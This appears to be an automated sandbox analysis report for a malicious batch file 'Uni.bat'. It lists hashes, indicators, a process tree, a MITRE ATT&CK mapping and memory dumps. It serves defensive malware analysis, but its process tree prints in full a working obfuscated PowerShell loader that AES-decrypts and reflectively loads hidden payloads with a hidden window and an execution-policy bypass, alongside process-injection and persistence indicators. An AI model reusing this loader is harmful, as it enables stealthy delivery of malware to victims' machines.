c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813

General

Target

Uni.bat
Size

14.6MB
MD5

5e162353f6d4f0d3316785c49590cf47
SHA1

a14a7c2639715020df5a2d84ad21236be8674cb5
SHA256

c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813
SHA512

323f840bf950b4f7a7feec7cd73979018ac2cdf2554e7855a22aca9ef1471eec282d6b56c66136228c8969ee3d0ea195abd587efb3b2746fd35adba1bd0bd5c0
SSDEEP

49152:9aok+ydtT1GNd9t6Qeuu+ZgswnNebCyy14BWxpW25Evp/flH1v4r0KKj5dci0RGs:a

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1176 created 608	1176	Uni.bat.exe	3

Executes dropped EXE 1 IoCs

pid	Process
1176	Uni.bat.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\vcruntime140_1d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\vcruntime140d.dll	Uni.bat.exe
File created	C:\Windows\System32\ucrtbased.dll	Uni.bat.exe
File created	C:\Windows\System32\vcruntime140_1d.dll	Uni.bat.exe
File created	C:\Windows\System32\vcruntime140d.dll	Uni.bat.exe
File opened for modification	C:\Windows\System32\ucrtbased.dll	Uni.bat.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1176 set thread context of 1540	1176	Uni.bat.exe	91
PID 1176 set thread context of 4916	1176	Uni.bat.exe	92

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Uni.bat.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1176	Uni.bat.exe
1176	Uni.bat.exe
1176	Uni.bat.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
1540	dllhost.exe
4916	dllhost.exe
4916	dllhost.exe
4916	dllhost.exe
4916	dllhost.exe
1176	Uni.bat.exe
1176	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1176	Uni.bat.exe
Token: SeDebugPrivilege	1176	Uni.bat.exe
Token: SeDebugPrivilege	1540	dllhost.exe
Token: SeDebugPrivilege	4916	dllhost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 732 wrote to memory of 1176	732	cmd.exe	86
PID 732 wrote to memory of 1176	732	cmd.exe	86
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 1540	1176	Uni.bat.exe	91
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92
PID 1176 wrote to memory of 4916	1176	Uni.bat.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{88c9a04d-ec39-45d7-b709-a56d4969e43c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:732
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function WuBcS($EFabz){ $bRzHB=[System.Security.Cryptography.Aes]::Create(); $bRzHB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $bRzHB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $bRzHB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AVCsDfD9ktxxy7ap9R1lOS4/eLdwd4Kk6x4IJe7TpyY='); $bRzHB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cRWQ+MYrSp19UY3Rby7uBA=='); $IDZdQ=$bRzHB.CreateDecryptor(); $return_var=$IDZdQ.TransformFinalBlock($EFabz, 0, $EFabz.Length); $IDZdQ.Dispose(); $bRzHB.Dispose(); $return_var;}function cNbkK($EFabz){ $KexDo=New-Object System.IO.MemoryStream(,$EFabz); $TmKio=New-Object System.IO.MemoryStream; $eYdxw=New-Object System.IO.Compression.GZipStream($KexDo, [IO.Compression.CompressionMode]::Decompress); $eYdxw.CopyTo($TmKio); $eYdxw.Dispose(); $KexDo.Dispose(); $TmKio.Dispose(); $TmKio.ToArray();}function JmoQC($EFabz,$CWcpU){ $RZrLm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$EFabz); $nyWoi=$RZrLm.EntryPoint; $nyWoi.Invoke($null, $CWcpU);}$veHDh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($PmkNr in $veHDh) { if ($PmkNr.StartsWith('SEROXEN')) { $fVggE=$PmkNr.Substring(7); break; }}$lhiuJ=[string[]]$fVggE.Split('\');$omIJM=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[0])));$iWNDL=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[1])));JmoQC $iWNDL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));JmoQC $omIJM (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{c807ffc8-cf17-4cf8-8b06-49313ddc302f}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zmiiryav.zgt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1176-23-0x00007FF8BD230000-0x00007FF8BD425000-memory.dmp

Filesize
2.0MB

Download
memory/1176-14-0x00007FF89F2F0000-0x00007FF89FDB1000-memory.dmp

Filesize
10.8MB

Download
memory/1176-16-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-18-0x00007FF89F2F0000-0x00007FF89FDB1000-memory.dmp

Filesize
10.8MB

Download
memory/1176-19-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-20-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-21-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-22-0x0000020400000000-0x0000020400024000-memory.dmp

Filesize
144KB

Download
memory/1176-15-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-24-0x00007FF8BC2A0000-0x00007FF8BC35E000-memory.dmp

Filesize
760KB

Download
memory/1176-25-0x0000020400320000-0x0000020400F38000-memory.dmp

Filesize
12.1MB

Download
memory/1176-17-0x0000020473A70000-0x0000020473A80000-memory.dmp

Filesize
64KB

Download
memory/1176-27-0x00007FF8A85F0000-0x00007FF8A8609000-memory.dmp

Filesize
100KB

Download
memory/1176-28-0x0000020408F50000-0x0000020409100000-memory.dmp

Filesize
1.7MB

Download
memory/1176-29-0x0000020409100000-0x000002040925E000-memory.dmp

Filesize
1.4MB

Download
memory/1176-30-0x0000020409260000-0x00000204092B8000-memory.dmp

Filesize
352KB

Download
memory/1176-31-0x00000204092C0000-0x00000204092D0000-memory.dmp

Filesize
64KB

Download
memory/1176-32-0x00007FF8BD230000-0x00007FF8BD425000-memory.dmp

Filesize
2.0MB

Download
memory/1176-13-0x0000020475B40000-0x0000020475B62000-memory.dmp

Filesize
136KB

Download
memory/1540-36-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/1540-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4916-37-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4916-39-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download

Analysis

Sharing